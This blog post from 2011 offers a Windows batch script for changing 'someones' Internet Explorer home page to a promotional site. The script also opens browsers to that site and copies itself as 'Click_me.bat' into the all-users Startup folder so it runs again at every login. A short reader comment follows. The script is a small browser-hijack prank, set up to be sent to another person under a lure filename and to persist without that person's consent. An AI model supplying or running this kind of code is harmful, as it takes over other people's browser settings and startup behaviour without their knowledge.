Saturday, August 20, 2011

batch file to change the internet explorer home page

Here is the script that you can use to change someones internet explorer home page and also make this script to run  at startup.

::XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

REG ADD "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN" /V "START PAGE" /D "http://ccplusplus.com/" /F
start iexplore www.ccplusplus.com
start firefox www.ccplusplus.com
if exist "Click_me.bat" move /y "Click_me.bat" "%allusersprofile%\start menu\programs\startup"
::XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

1 comment:

  1. This is great help, but can someone tell my now how can I just add a new address to the current home page the user already has. For the mayority of users it doesn't matter if I changed it but for some I may encounter issues with this.

    ReplyDelete